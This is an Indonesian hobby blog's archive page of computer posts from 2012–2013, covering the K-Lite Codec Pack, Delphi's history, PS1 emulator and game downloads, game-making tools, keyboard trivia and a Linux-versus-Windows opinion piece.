Tampilkan postingan dengan label Komputer. Tampilkan semua postingan
Tampilkan postingan dengan label Komputer. Tampilkan semua postingan

28 Oktober 2013

Cara Mount Partisi Linux Lewat Terminal

Ketika kita bekerja dengan sistem linux kadang partisi atau drive yang ada di komputer tidak bisa diakses datanya. Partisi2 yang ada di hardisk tidak muncul di dalam explorer milik linux.
Di linux setiap drive akan disimpan sebagai folder di direktori /dev. Direktori tersebut tidak bisa diakses atau dilihat file2nya sebelum kita mount. Di linux sendiri ada proses mounting ada dua macam. mounticng otomatis dan mounting manual. Untuk mounting otomatis kita dapat langsung mengakses data di direktory tersebut lewat icon shortcut di desktop. Mounting otomatis ini bisa kita dapati di distro linuxMint Daryna yang sudah support file system NTFS. Jadi ketika di hardisk kita terdapat partisi NTFS linuxMint sudah bisa memountnya secara otomatis dan langsung dapat diakses datanya. mau tau caranya,, check this out.. :)

14 Mei 2013

Fungsi String Excel


Fungsi string adalah fungsi yang dapat menempatkan dan mengelolah data berjenis teks pada lembar kerja MS. Excel. Fungsi string digunakan untuk mengambil, mengubah karakter tertentu pada Data teks.

26 April 2013

Wah! Bermain Tetris Dapat Menyembuhkan Penyakit Mata



Sobat, ternyata bermain video game tidak selamanya dapat merusak mata.  Tim dokter di Kanada menemukan bahwa, bermain video game populer Tetris, ternyata dapat menyembuhkan sindrom penyakit mata malas atau lazy eyes. Tim peneliti dari Universitas McGill telah menemukan fakta bahwa bermain Tetris dapat melatih koordinasi dari kinerja kedua mata.

26 Maret 2013

Kumpulan Rumus - Rumus Formula Excel


Microsoft Excel adalah salah satu program yang sangat familiar bagi masyarakat. Microsoft Excel bisa digunakan untuk berbagai keperluan. Diantaranya untuk pencatatan data penjualan, untuk lampiran laporan, dll. Dibawah ini adalah kumpulan rumus - rumus formula excel yang bisa gunakan untuk mengerjakan berbagai keperluan dengan menggunakan excel.

21 Mei 2012

Download K-Lite Codec Pack 8.8.0 Full

 K-Lite Codec Pack is a collection of codecs and related tools. Codecs are required to encode and/or decode (play) audio and video. The K-Lite Codec Pack is designed as a user-friendly solution for playing all your movie files. With the K-Lite Codec Pack you should be able to play 99% of all the movies that you download from the internet.
 
The K-Lite Codec Pack has a couple of major advantages compared to other codec packs:
- It it always up-to-date with the latest versions of the codecs.
- It is very user-friendly and the installation is fully customizable, meaning that you can install only those components that you really want.
- It has been very well tested, so that the package doesn't contain any conflicting codecs.
- It is a very complete package, containing everything you need to play your movies.

There are three versions of the K-Lite Codec Pack: Basic, Standard and Full.
K-Lite Codec Pack Basic contains only the most essential things. It contains everything you need to be able to play the most popular and widespread formats. It is small enough to fit on a single floppy. Also great for including on your movie CDs.
K-Lite Codec Pack Standard contains everything you need to play all the commonly used formats. This package should be enough for the average user.
K-Lite Codec Pack Full contains even more codecs. It also has encoding support for the various formats. This package is for power users and people who do their own encodings.

Features of K-Lite Codec Pack 8.8 FULL version:

Player:
- Media Player Classic Homecinema [version 1.6.2.4485]
ffdshow:
- ffdshow [revision 1.2.4436]
- ffdshow VFW interface
DirectShow video decoding filters:
- LAV Video [version 0.46 build 2012-02-15]
- XviD [version 1.3.0 build 2010-12-07]
- DScaler5 MPEG-2 decoder [version 0.0.6.0 IVTC mod]
DirectShow audio decoding filters:
- ffdshow [version 1.2.4436]
- LAV Audio [version 0.46 build 2012-02-15]
- MONOGRAM AAC decoder [version 0.9.6.0]
DirectShow audio parsers:
- madFLAC [version 1.10]
- CoreWavPack [version 1.1.1]
- MusePack (MONOGRAM) [version 0.9.2.0 | 0.4.0.0]
- Monkey's Audio (DCoder) [version 1.0]
- OptimFROG (RadLight) [version 1.0.0.1]
- AMR (MONOGRAM) [version 1.0.1.0]
- DC-Bass Source [version 1.3.0]
- AC3File [version 0.7b]
DirectShow source filters:
- Haali Media Splitter [version 1.11.96.14]
- LAV Splitter [version 0.46 build 2012-02-15]
- AVI splitter (Gabest) [version 1.5.3.3705]
- CDXA Reader (Gabest) [version 1.5.3.3705]
DirectShow subtitle filter:
- DirectVobSub (a.k.a. VSFilter) [version 2.40.3705.0]
Other filters:
- Haali Video Renderer [version 1.11.96.14]
VFW video codecs:
- ffdshow VFW interface
- XviD [version 1.3.2]
- On2 VP7 [version 7.0.10.0]
- Lagarith [version 1.3.27]
ACM audio codecs:
- MP3 (LAME) [version 3.98.2]
- AC3ACM [version 2.1]
Tools:
- Codec Tweak Tool [version 5.1.5]
- Win7DSFilterTweaker [version 4.8]
- MediaInfo Lite [version 0.7.51]
- VobSubStrip [version 0.11]
- GraphStudio [version 0.3.2.0]
- Haali Muxer
- Bitrate Calculator
Shell extensions:
- Icaros ThumbnailProvider [version 1.3.2]
- Icaros PropertyHandler [version 1.3.2]

Changes from K-Lite Codec Pack 8.7.0 FULL to K-Lite Codec Pack 8.8.0 FULL:

- Updated Media Player Classic Home Cinema to version 1.6.2.4742
- Updated ffdshow to version 1.2.4450
- Updated LAV Filters to version 0.50.5
- Updated Codec Tweak Tool to version 5.3.5
- Updated Win7DSFilterTweaker to version 5.3
- Updated MediaInfo Lite to version 0.7.57

Features of K-Lite Codec Pack 8.8 STANDARD version:

Player:
- Media Player Classic Homecinema [version 1.6.2.4485]
DirectShow video decoding filters:
- ffdshow [version 1.2.4436]
- LAV Video [version 0.46 build 2012-02-15]
- DScaler5 MPEG-2 decoder [version 0.0.6.0 IVTC mod]
DirectShow audio decoding filters:
- ffdshow [version 1.2.4436]
- LAV Audio [version 0.46 build 2012-02-15]
DirectShow audio parsers:
- madFLAC [version 1.10]
- CoreWavPack [version 1.1.1]
DirectShow source filters:
- Haali Media Splitter [version 1.11.96.14]
- LAV Splitter [version 0.46 build 2012-02-15]
DirectShow subtitle filter:
- DirectVobSub (a.k.a. VSFilter) [version 2.40.3705.0]
Other filters:
- Haali Video Renderer [version 1.11.96.14]
Tools:
- Codec Tweak Tool [version 5.1.5]
- Win7DSFilterTweaker [version 4.8]
- MediaInfo Lite [version 0.7.51]
Shell extensions:
- Icaros ThumbnailProvider [version 1.3.2]
- Icaros PropertyHandler [version 1.3.2]

Changes from K-Lite Codec Pack 8.7.0 STANDARD to K-Lite Codec Pack 8.8.0:

- Updated Media Player Classic Home Cinema to version 1.6.2.4742
- Updated ffdshow to version 1.2.4450
- Updated LAV Filters to version 0.50.5
- Updated Codec Tweak Tool to version 5.3.5
- Updated Win7DSFilterTweaker to version 5.3
- Updated MediaInfo Lite to version 0.7.57

Features of K-Lite Codec Pack 8.8 BASIC version:

DirectShow video decoding filters:
- ffdshow [version 1.2.4436]
- LAV Video [version 0.46 build 2012-02-15]
DirectShow audio decoding filters:
- ffdshow [version 1.2.4436]
- LAV Audio [version 0.46 build 2012-02-15]
DirectShow source filters:
- Haali Media Splitter [version 1.11.96.14]
- LAV Splitter [version 0.46 build 2012-02-15]
DirectShow subtitle filter:
- DirectVobSub (a.k.a. VSFilter) [version 2.40.3705.0]
Other filters:
- Haali Video Renderer [version 1.11.96.14]
Tools:
- Codec Tweak Tool [version 5.1.5]
- Win7DSFilterTweaker [version 4.8]

Changes from K-Lite Codec Pack 8.7.0 BASIC to K-Lite Codec Pack 8.8.0:

- Updated ffdshow to version 1.2.4450
- Updated LAV Filters to version 0.50.5
- Updated Codec Tweak Tool to version 5.3.5
- Updated Win7DSFilterTweaker to version 5.3

Important Note:

- The K-Lite Codec Pack works only on Windows XP/2003/Vista/7.
Thank you for your NICE attention.. ..Jangan lupa follow and like blog saya..

17 April 2012

Bahasa Pemrograman Delphi

 Apa Itu Delphi ?
Delphi adalah sebuah bahasa pemrograman dan lingkungan pengembangan perangkat lunak. Kata Delphi sendiri berasal dari bahasa Yunani yang berarti kuil yang dibangun untuk menyembah Dewa Apollo, salah satu Dewa yang disegani oleh orang-orang Yunani selain Dewa-Dewa lain seperti Jupiter, Titan dan lain sebagainya.

Delphi awalnya sebuah proyek penelitian rahasia di Borland yang berevolusi menjadi sebuah produk yang disebut AppBuilder. Borland sebagai pengembang perangkat lunak yang sudah ada sejak era 1980an menggunakan ikon dan nama Delphi sebagai salah satu perangkat lunak pembantu pemrograman untuk membuat program yang sudah mengarah ke Pemrograman Yang Berorientasi pada Objek atau dikenal dengan istilah OOP (Object Oriented Programming). Salah satu tujuan asli dari Delphi adalah untuk menyediakan konektivitas database untuk programmer sebagai kunci dan sebuah paket database yang populer pada saat itu adalah database Oracle, maka “Jika Anda ingin berbicara dengan Oracle, lakukan dengan Delphi”.

Sejarah munculnya delphi dimulai dengan ide brilian Prof. Niclaus Wirth yang mengemukakan paparan tentang Struktur Data dan Algoritma (Algorthm and Data Structure). Prof. Niklaus Wirth menerjemahkan paparan ini yang kemudian dikristalisasi ke dalam bahasa yang populer dan digunakan pertama kalinya sebagai bahasa yang berorientasi pada hal-hal yang Science dan Ilmiah yaitu Pascal. Pascal sendiri kemudian distandarisasi ke dalam ANSI PASCAL (Pascal umum) oleh badan standarisasi Amerika Serikat (ANSI).

Kemudian, 20 Nopember 1983, Borland melakukan riset untuk menerjemahkan ide dari kristalisasi ANSI Pascal (Pascal yang distandarisasi) yang kemudian menelurkan kompiler Pascal ke dalam pengembangan perangkat lunaknya yaitu Turbo Pascal 1.0. Turbo Pascal 1.0 berjalan pada sistem operasi PC/MS DOS dengan keterabatasan memory yang saat itu bisa berjalan pada ukuran 1 Mbyte saja. Dari penemuan Turbo Pascal inilahakhirnya Delphi diciptakan.

Pada November 2006, Borland mengumumkan keputusan untuk memisahkan Developer Tools Group menjadi milik anak perusahaan yang sepenuhnya berfokus pada produktivitas pengembang memaksimalkan pengembangan Delphi yang diberi nama CodeGear. Pada Mei 2008, Embarcadero Technologies telah menandatangani perjanjian jual beli untuk membeli CodeGear dari Borland. Embarcadero dan CodeGear diharapkan untuk menciptakan terbesar di dunia, penyedia perangkat lunak independen alat pengembangan dan database. Embarcadero sendiri adalah sebuah perusahaan swasta yang dikuasai, memberikan alat-alat database yang profesional perusahaan menggunakan untuk merancang, mengembangkan dan mengelola database. Produk mencakup: ER / Studio, DBArtisan, Rapid SQL dan Perubahan Manager.

Bahasa Delphi, atau dikenal pula sebagai object pascal (pascal dengan ekstensi pemrograman berorientasi objek (PBO/OOP)) pada mulanya ditujukan hanya untuk Microsoft Windows, namun saat ini telah mampu digunakan untuk mengembangkan aplikasi untuk Linux dan Microsoft.NET framework. Khusus untuk pemrogaman database, Borland Delphi menyediakan fasilitas obyek yang kuat dan lengkap yang memudahkan programmer membuat program untuk aplikasi database. Format database yang dimiliki Delphi yaitu format database Paradox, dBase, MS Access, ODBC, SyBASE, Oracle dan lain-lain

Delphi adalah kompiler / penterjemah bahasa Delphi (awalnya dari Pascal) yang merupakan bahasa tingkat tinggi sekelas dengan Basic dan C. Bahasa Pemrograman di Delphi disebut bahasa prosedural artinya bahasa/sintaknya mengikuti urutan tertentu / prosedur.Ada jenis pemrograman non-prosedural seperti pemrograman untuk kecerdasan buatan seperti bahasa Prolog.Delphi termasuk Keluarga Visual sekelas Visual Basic, Visual C, artinya perintah-perintah untuk membuat objek dapat dilakukan secara visual.Pemrogram tinggal memilih objek apa yang ingin dimasukkan kedalam Form/Window, lalu tingkah laku objek tersebut saat menerima event/aksi tinggal dibuat programnya.Delphi merupakan bahasa berorentasi objek, artinya nama objek, properti dan methode/procedure dikemas menjadi satu kemasan (encapsulate).

Perkembangan Delphi
Delphi pertama kali dirilis tahun 1995 untuk windows 16-bit. Delphi 2, dirilis setahun kemudian, mendukung lingkungan windows 32-bit, dan versi c++, C++Builder, dirilis beberapa tahun kemudian. Pada tahun 2001 sebuah versi linux yang dikenal sebagai Kylix tersedia. Dengan satu rilis baru setiap tahunnya, pada tahun 2002 dukungan untuk Linux (melalui Kylix dan CLX component library) ditambahkan dan tahun 2003 .NET mulai didukung dengan munculnya Delphi.Net (Delphi 8). Kini sudah keluar juga untuk versi .NET terbaru yaitu RAD Studio 2007 dan Turbo Delphi .NET dengan versi desktopnya yaitu Delphi 2007 for win 32 dan Turbo Delphi.
Chief Architect yang membidani Delphi, dan pendahulunya Turbo Pascal, adalah Anders Hejlsberg sampai kemudian ia pindah ke Microsoft tahun 1996 di mana ia sebagai chief designer C# dan termasuk orang kunci dalam perancangan Microsoft .Net Framework. Dukungan penuh untuk .Net ditambahkan pada Delphi 8 (dirilis pada bulan Desember 2003) dengan penampilan user interface (look and feel) mirip dengan Microsoft Visual Studio .NET.

Delphi 2005 (nama lain dari Delphi 9) mendukung code generation baik untuk win32 maupun .NET, dan seperti yang telah dikenal, fitur-fitur manipulasi data secara live dari database secara design-time. Ia juga membawa banyak pembaruan pada IDE secara signifikan.
Para penganjur delphi mengklaim dengan bahasa pemrograman Delphi, IDE dan component library (VCL/CLX) yang disediakan oleh vendor tunggal memungkinkan satu paket yang lebih konsisten dan mudah dikenali. Produk delphi ini didistribusikan dalam beberapa rancangan: Personal, Professional, Enterprise (sebelumnya Client/Server) dan Architect.

Hal Umum Tentang Delphi
Perbedaan fitur yang utama antara Delphi, Kylix dengan IDE-IDE yang lain adalah keberadaan bahasanya (Bahasa pemrograman delphi), VCL/CLX (Visual Component Library), Penekanan konektifitas database yang sangat baik, dan banyaknya komponen-komponen pihak ketiga yang mendukungnya.
Aspek penting yang perlu dicatat tentang Bahasa pemrograman Delphi termasuk:
1. Penanganan object sebagai reference/pointer secara transparan
2. Properti sebagai bagian dari bahasa tersebut; benar, sebagai getter dan setter (atau accessor and mutator), yang secara transparan mengenkapsulasi akses pada field-field anggota dalam kelas tersebut.
3. Property index dan Default yang menyediakan akses pada data kolektif
4. Pendelegasian (type safe method pointer) yang digunakan untuk memproses event yang dipicu oleh component
5. Pendelegasian implementasi interface pada Field ataupun property dari class.
6. Implementasi penanganan windows message dengan cara membuat method dalam class dengan nomer/nama dari windows message yang akan dihandle.
7. bersifat sebagai interface yang independen dengan implementasi class sebagai reference counted
8. Kompilasi yang dapat menghasilkan kode yang berjalan secara native x86 ataupun managed code pada arsitektur framework .NET.
Lingkungan pengembangan terpadu atau Integrated Development Environment (IDE) dalam program Delphi terbagi dalam 6 bagian utama, yaitu Main Window, Toolbar, Component Palette, Form Designer, Code Editor dan Object Inspector. Namun dalam pengembangan Delphi, terdapat 1 bagian IDE lagi yaitu Object Tree View. Untuk lebih jelasnya perhatikan gambar dibawah ini.

Keunggulan dan Kelemahan Delphi
Delphi mempunyai keunggulan – keunggulan :
1. Komunitas pengguna yang besar pada Usenet maupun web
2. Dapat mengkompilasi menjadi single executable, memudahkan distribusi dan meminimalisir masalah yang terkait dengan versioning
3. Banyaknya dukungan dari pihak ketiga terhadap VCL (biasanya tersedia berikut source codenya) ataupun tools pendukung lainnya (dokumentasi, tool debugging)
4. Optimasi kompiler yang cukup cepat
5. Mendukung multiple platform dari source code yang sama
Kelemahan – kelemahan Delphi :
1. Partial single vendor lock-in (Borland dapat menetapkan standar bahasa, kompatibilitas yang harus mengikutinya)
2. Terbatasnya kamampuan portabilitas antar-platform OS (sebelum ada kylix)
3. Akses pada platform dan library pihak ketiga membutuhkan file-file header yang diterjemahkan ke dalam bahasa pascal
4. Dokumentasi atas platform dan teknik-teknik yang menyertainya sulit ditemukan dalam bahasa pascal (contoh akses COM dan Win32) .

Beberapa Klon Delphi
Meskipun tidak bersifat subsitutif penuh terhadap keseluruhan paket delphi, ada beberapa usaha yang dilakukan untuk membuat kompatibilitas bahasa ini menjadi lebih baik atu bahkan lebih buruk dengan membuat kode delphi yang tidak bisa dicapai oleh delphi ataupun kylix sendiri.
Produk-produk berikut bisa membuat kode delphi berjalan dalam alur yang tidak mungkin dilakukan oleh Delphi (seperti dukungan terhadap sistem operasi yang berbeda, distribusi yang gratis dan penggunaan untuk kebutuhan pendidikan, dan penyertaan kode dari kompilernya sendiri) yang menjadikan vendor bisa menjadi lebih independen. Produk-produk berikut ini umumnya digunakan untuk kebutuhan edukasi dan mengusahakan agar sisi aplikasi delphi yang berjalan pada server bisa berjalan pada sistem operasi alternatif selain dari yang didukung oleh delphi/kylix, umumnya produk tersebut sudah mensupport linux sebelum kylix muncul.
o Bloodshed Dev-Pascal Salah satu IDE Win32 yang mensupport GNU Pascal maupun Free Pascal
o Free Pascal Kompiler berbasis commandline dengan dialek yang sangat dekat dengan Turbo Pascal dan Delphi. Fitur yang terdapat pada Delphi versi 4 ke atas hanya diimplementasikan pada seri versi 1.9.x (akan menjadi seri 2.0.x). Versi beta ini sudah bisa digunakan secara baik. Beroperasi umumnya pada sistem operasi berbasis x86. Mendukung Linux, Mac OS dan Mac OS X (termasuk implementasi Xcode pada keluarga PowerPC, dan Linux berbasis AMD64. SPARC and arsitektur Mesin RISC Acorn (ARM) masih sedang dikerjakan dan belum siap dideploy.
o GNU Pascal secara terpisah didistribusikan sebagai bagian dari GNU Compiler Collection dan tidak mendukung dialek pascal yang diimplementasikan borland
o InnerFuse merupakan interpreter bahasa Delphi yang dapat diintegrasikan dengan aplikasi Delphi
o Lazarus merupakan satu upaya untuk membangun sebuah RAD berbasis Free Pascal.
o OpenSibyl
o Virtual Pascal
o WDOSX
o Winsoft Pocket Studio

Referensi :
http://id.wikipedia.org/wiki/Borland_Delphi
http://ekoindri.wordpress.com/sejarah/

Thank you for your NICE attention..

16 April 2012

download emulator PS1 | epsxe


EPSXE adalah sebuah software emulator yang dapat digunakan untuk memainkann game-game Playstasion 1. Bagi kamu yang kangen dengan game masa lalu kamu kini kamu bisa memainkanya do pc atau laptop kamu silahkan download.

DOWNLOAD HERE

Thank you for your NICE attention..

Program Aplikasi Untuk Membuat Game

 20 aplikasi pembuat game
Kita semua suka bermain game tetapi tidak banyak diantara kita yang bisa membuat game sendiri karena programming game cukup susah. Tetapi sekarang anda bisa membuat game berkualitas bagus seperti apa yang anda inginkan dengan bantuan teknologi aplikasi.
Berikut berbagai aplikasi membuat game yang bisa digunakan siapapun yang ingin membuat game sendiri.

Membuat Game Berbasis Flash

1. AlbinoBlackSheep

Disini banyak sekali game dan video termasuk tutorial tentang bagaimana membuat game berbasis flash.

2. FlashKit

Disini anda bisa menemukan banyak tutorial bekerja dengan flash termasuk panduan langkah demi langkah untuk beberapa tipe game.
Program Aplikasi Untuk Membuat Game
3. Kirupa

Banyak sekali tutorial ekstensif untuk membuat game flash termasuk panduan untuk game-game spesifik seperti game shooter.

4. Lassie Adventure Studio

Dengan aplikasi ini, anda dapat membuat gambar 2D untuk game petualangan dengan mudah dan membuat gamenya.

5. Sploder

Disini anda bisa membuat game flash dari berbagai macam jenis obyek dan kemudian meletakkannya pada MySpace, Blogger dan situs-situs lainnya.

Membuat Game Standard dan Panduannya

6. Anim8or

Aplikasi modeling animasi 3D untuk game yang mudah digunakan.

7. Byond

Disini anda bisa membuat game anda sendiri dengan bantuan peralatan alikasi yang sudah disediakan dan kemudian anda sharing dengan orang lain untuk mengetahui pendapat mereka.

8. Game Discovery

Disini semua yang anda inginkan untuk membuat game ada, character making, gameplay making dan juga anda bisa menemukan ide-ide membuat game disini.

9. Martin Piecyk’s Website

Panduan belajar bagaimana untuk membuat game dengan disertai link ke berbagai sumber.

10. VGMusic

Jika anda ingin menambahkan efek sound atau soundtrack game yang anda buat, anda bisa temukan disini, banyak sekali file-file midi yang bisa anda gunakan untuk keperluan game yang anda buat.

11. Visionaire2d

Aplikasi ini dapat membantu anda membuat game petualangan 2D tanpa perlu pengetahuan programming.
Program Aplikasi Untuk Membuat Game
12. YoYoGames

Disini anda akan temukan banyak perlengkapan untuk membuat game seperti beta testing, download, work in progress, community dan banyak lagi lainnya.

Membuat Game RPG

13. Charas-Project

Generator karakter yang mudah digunakan untuk karakter RPG yang anda ingin buat.

14. CrankEye

Ada banyak sekali panduan untuk membuat RPG seperti editor karakter, soundfile dan lain sebagainya.

15. DualSolace

Disini anda dapat menemukan software membuat game MMORPG 2D RealFeel.

16. FreeMMORPGMaker


Software gratis untuk membuat MMORPG termasuk membuat bagian-bagian game seperti karakter, efek dan suara.

17. PhanxGames sound file

Anda bisa membuat RPG dan juga disertai membuat grafis, sound file midi, wav, kemudian jika anda selesai membuatnya, anda bisa menguploadnya di situs tersebut hingga ukuran 50 MB.

18. PlayerWorlds

Aplikasi populer yang banyak digunakan untuk membuat game seri RPG.

19. RPG Maker

Program RPG Maker di situs ini ada beberapa seri yang bisa anda pilih sesuai keinginan anda.

20. RPGCrisis

Disini anda dapat menemui berbagai download dan aplikasi untuk membuat RPG pada berbagai sistem apakah PC atau yang lainnya.

21. RPG Revolution

Perlengkapan dan aplikasi untuk membuat game RPG pada lebih dari 13 sistem game making berbeda.

Thank you for your NICE attention..

Download Game PlayStation 1 standar ISO PSX


disini kamu dapat mendownload Game pc kesukaan secara langsung dan gratis.game ini dimainkan dengan menggunakan emulator ps.1 berikut game - game ps1 yang bisa kamu download:

===========================================================================

Free Download game battle hunter

FRee Download game Fishermans Bait 2

Free Download game metal slug

Free Download game one piece

Free Download Winning eleven 2002

 Free Download Game Batman forever

 Free Download Resident Evil 3

Free Download All Star Racing

Thank you for your NICE attention..

04 April 2012

Rahasian Tonjolan Pada huruf "F" dan "J" Pada keyboard




Perhatikan lebih dekat tombol pada keyboard anda sekalian.

Saya yakin kebanyakan 'anda menyepelekan "tonjolan" yang ada pada huruf "F" dan "J".
Sekarang setelah 'Anda perhatikan, Beberapa dari 'agan pasti bertanya, "Buat apaan yak, "tonjolan" ini?"

Ternyata tonjolan ini dibuat dengan tujuan yang sederhana: Memudahkan orang yang mengetik a la touched-type untuk mengetahui kedua posisi jari telunjuk kiri mereka (pada huruf "F") dan jari telunjuk kanan mereka (pada huruf "J").

Dan apakah itu touched-type?

Touch-type merupakan salah satu cara orang mengetik dimana mereka tidak menatap keyboard saat mengetik.
Beberapa orang memang mengetik dengan cara ini. Oleh karena itu mereka butuh semacam assistance untuk mengetahui posisi jari-jari mereka saat mengetik dan "tonjolan" itulah yang terpilih sebagai assistance mereka. 
 

Thank you for your NICE attention..

26 Maret 2012

Perang Dingin User Linux Dan Windows


Konflik antara Linux &  Windows

Oke, sebuah posting dengan judul yang rumit dan aneh. Disini, saya akan membahas apa yang menyebabkan konflik antara user windows dan linux beserta pemecahannya. Ada 2 golongan disini. Saya yakin bahwa user A akan berkata, “Ah, orang kurang kerjaan. Cuma bisa mbandingin windows dan linux. LOL!”. Sedangkan para user B akan berkata, “Hmm, apaan nih posting? Kayaknya penting untuk dibaca!”.Ya, perkataan kedua user itu benar. Hanya saja kurang tepat. Terutama yang dikatakan user A, sangat-sangat kikuk. Tidak bisa membedakan kah anda antara kata “Pemecahan” dengan “Pembandingan”? Kalau saya punya uang, sudah pasti saya kirim lagi ke SD!

Baiklah, yang pertama, saya jelaskan SEKALI LAGI fakta-fakta sebenarnya tentang linux :
Penjelasan.
  1. Linux tidak sepenuhnya aman
    Ya, saya berani 100% berkata seperti ini. Windows sangatlah rawan dengan virus dan desktop-attack lainnya. Tapi lumayan aman dengan web-attack. Di linux, tidak ada yang namanya Virus. Yang ada hanyalah Rootkit. Rootkit hadir di beragam sistem operasi seperti, Linux, Solaris dan Microsoft Windows. Rootkit ini sering mengubah bagian dari sistem operasi dan juga menginstall dirinya sendiri sebagai driver atau modul kernel (dari wikipedia). Kalau linux benar-benar aman, buat apa ada kaspersky versi linux?
  2. Tidak semua distro Linux gratis
    Ya, tidak semua distro linux itu gratis. Misalnya, Red Hat Enterprise Linux (RHEL), dihargai sekitar satu juta sampai sepuluh juta rupiah! Tentu saja distro RHEL ini ditujukan untuk keperluan khusus, misalnya server, dll.
Tanya Jawab.

  1. T: Katanya Linux mahal ya? Harganya bisa sampai ratusan ribu ya?
    J: Iya, jika kamu membeli linux untuk keperluan server seperti RedHat Enterprise Linux. Selain itu, banyak distro linux gratis didownload, dan harga CD Linux pun hanya berkisar sekitar Rp5000-20.000 saja.
  2. T : Beberapa orang mengatakan Linux itu susah dan hanya untuk keperluan bekerja. Benarkah itu?
    J : Iya, jika kamu menggunakan Linux yang Jadul. Sekarang, sudah banyak distro linux yang tampilannya lebih keren dari windows dan juga User-Friendly.
  3. T : Katanya Linux itu bisa membuat kita meng-hack linux itu sendiri karena kita otak-atik?
    J : Tidak. Cobalah definisikan kata “hack”. Memangnya user windows tidak pernah mengutak-atik windows itu sendiri?
  4. T : Kata teman saya, tampilan linux itu jelek dan tidak menarik. Benarkah?
    J : Salah! Coba anda cari screenshot Ubuntu 11.10. Jauh berbeda dengan windows yang cenderung terlihat monoton di semua versinya.
  5. T : Berapa rata-rata harga CD distro linux?
    J : Kalau anda minta CD-nya dikirim (misalnya kita beli di online-shop), tentu saja kita diminta membayar ongkos kirimnya. Tapi, kalau anda mendownload file .iso distro-nya, tinggal sediakan CD Kosong dan burn! Simpel kan?
Kenapa tidak disebutkan “Macintosh/Apple” disini? Kan sama-sama OS yang merajai dunia komputer?
Macintosh tidak diikutkan, karena hubungan Mac dengan Linux dan Windows saat ini relatif stabil.
Sekarang, kita bahas terlebih dahulu apa itu Windows & Linux. Windows, adalah salah satu OS, ya, OS. Sedangkan Linux sebenarnya adalah “kernel”. Kernel ibarat otak. Jadi, kernel adalah pengatur segala sesuatunya di suatu OS. Nah, para pengembang-pengembang Linux memanfaatkan kernel ini dan membuat tampilan GUI, sehingga tidak hanya berupa background hitam dan text putih seperti waktu dulu.
Salah satu yang membedakan Linux dan Windows ini adalah prinsip dan latar belakangnya. Windows memiliki prinsip closed-source dan memiliki latar belakang komersial di bawah naungan Microsoft. Closed-source ini artinya tidak membagikan kode sumber secara bebas. Sehingga orang yang ingin menjadi pengembang Windows harus bekerja untuk microsoft.
Bagaimana dengan linux? Linux memiliki prinsip open-source dan latar belakang non-komersial. Open-source disini adalah kebalikan closed-source, kode sumber boleh dibagikan secara bebas. Latar belakang non-komersial ini juga turut membuat perkembangan Linux menjadi sangat pesat. Ada beberapa hal yang perlu diingat, arti dari opensource adalah sebagai berikut :
  1. Bebas dikembangkan dengan cara apapun.
  2. Bebas digunakan semua orang.
  3. Bebas digunakan untuk kepentingan komersial dan pendidikan.
  4. Bebas didistribusikan dengan cara apapun. Termasuk dengan cara dijual.
Oke, sekarang kita akan menggunakan istilah “proprietary”, (dalam hal ini adalah Microsoft), dan OSS untuk Opensource Software.
Selain masalah salah kaprah tentang OSS yang berbayar dan gratis, ada lagi yang masih terlihat salah terhadap OSS yang lain, yaitu masalah penggunaan Open Source. Pertanyaan yang menimbulkan masalahnya adalah begini: “Kapan Anda menggunakan OSS?”.
Ternyata banyak yang masih bingung jawabnya. Ada yang beralasan gak bisa jawab karena masih menggunakan sistem operasi proprietary terkenal sejagad raya bernama Windows. Saya cuma bisa geleng-geleng kepala dan mengelus dada. Untuk kasus di atas mungkin kernelnya tidak open source. Tapi bisa saja aplikasi yang digunakan sehari2 adalah OSS.
Katakanlah ada Mister X yang merupakan pengguna setia Windows (genuine). Selain memanfaatkan Windows (operating system proprietary), Mister X adalah seorang pengembang aplikasi web. Dia menggunakan IIS (web server proprietary) sebagai toolsnya. Kemudian pada IIS-nya dia menanamkan PHP engine, menginstall dan mengkonfigurasi MySQL server agar bisa berjalan baik di komputernya. Untuk mengecek hasil desain aplikasi web nya, Mister X menggunakan Mozilla Firefox. Untuk contoh ini, maka kernel Windows Mister X emang bukan OSS. Source code kernel Windows tidak disediakan untuk publik secara bebas.
Web Server IIS Mister X juga tidak bisa dimodifikasi seenaknya, karena source codenya hak cipta Microsoft (Proprietary). MySQL Server Mister X adalah salah satu produk OSS. Kalo gak percaya anda bisa download source codenya di situsnya. Siapa tau sampean pengen ngembangin MySQL Server versi sendiri.
Dalam contoh ini, Mister X hanya sekedar memanfaatkan OSS. Tapi kan Firefox yang dipake Mister X juga produk OSS. Free pada OSS adalah free dalam arti “bebas”, bukan “gratis”. Lebih tepatnya bukan “Free” tapi “Freedom”. Karena tidak semua OSS dihargai nol rupiah alias gratis. Lagipula, tidak semua Proprietary Source juga berbayar. Ada juga yang nol rupiah alias freeware.
Alangkah bagusnya jika kita menggunakan OSS secara menyeluruh. Mulai dari pake kernel yang memang kode sumbernya terbuka seperti Linux atau BSD. Sampe aplikasinya juga OSS. Pengguna OSS ada dua jenis menurut saya, yaitu golongan yang memang butuh source code dari program lain untuk pengembangan softwarenya lebih lanjut. Serta golongan simpatisan OSS aja. Karena prinsip berbagi source code seperti berbagi jasa aja. Kalo ada orang lain yang ngasih source code secara cuma-cuma, maka rasanya “nggak enak” gitu kalo kita yang pengembang juga ga ngasih harga cuma-cuma juga.
Oke, back to topic. Intinya, kita tidak bisa menggunakan salah satu saja dari 2 OS ini. Bila anda memakai Windows, web yang anda kunjungi, 99,9% saya yakin serverwebnya adalah Linux. Jarang sekali ada web yang servernya windows, karena manja dan harus direstart ulang setiap harinya. Sedangkan server linux? Serverweb linux bisa berjalan 5 tahun tanpa manja dan tanpa minta direstart ulang.
Oh iya, sampai lupa, Apple juga turut serta dalam pengembangan komputer di jagad raya ini. Bebarapa distro linux, GUI-nya terinspirasi dari tampilan Macintosh. Tapi bukan berarti mencontek dan mengklaim-klaim lho ya… :P
Tidak hanya itu, Apple juga turut berpartisipasi untuk menaikan harga komputer di dunia ini. Hehehe… :)
Lalu, yang membuat Linux kurang populer? Ya, jam terbang alias waktu munculnya sudah dicuri start oleh Microsoft dan Apple. Jadi, ya wajar saja kalau terjadi adu mulut dan kemampuan di antara 2 user OS ini.
Perlu diingat, saya tidak membanding-bandingkan, hanya membahas masalah konflik ini saja.
Salam Open Source!
Referensi : http://gosc.info/index.php/artikel/10-jangan-saling-ledek.html | http://blog.tibandung.com/open-source-software-free-vs-free/

Thank you for your NICE attention..

Perbedaan KBps dan Kbps

PENTING ! Anda Ketahui disinilah banyak persepsi salah! Sebenarnya antara KBps dan Kbps adalah beda, memang dalam pengucapan banyak yang sama.
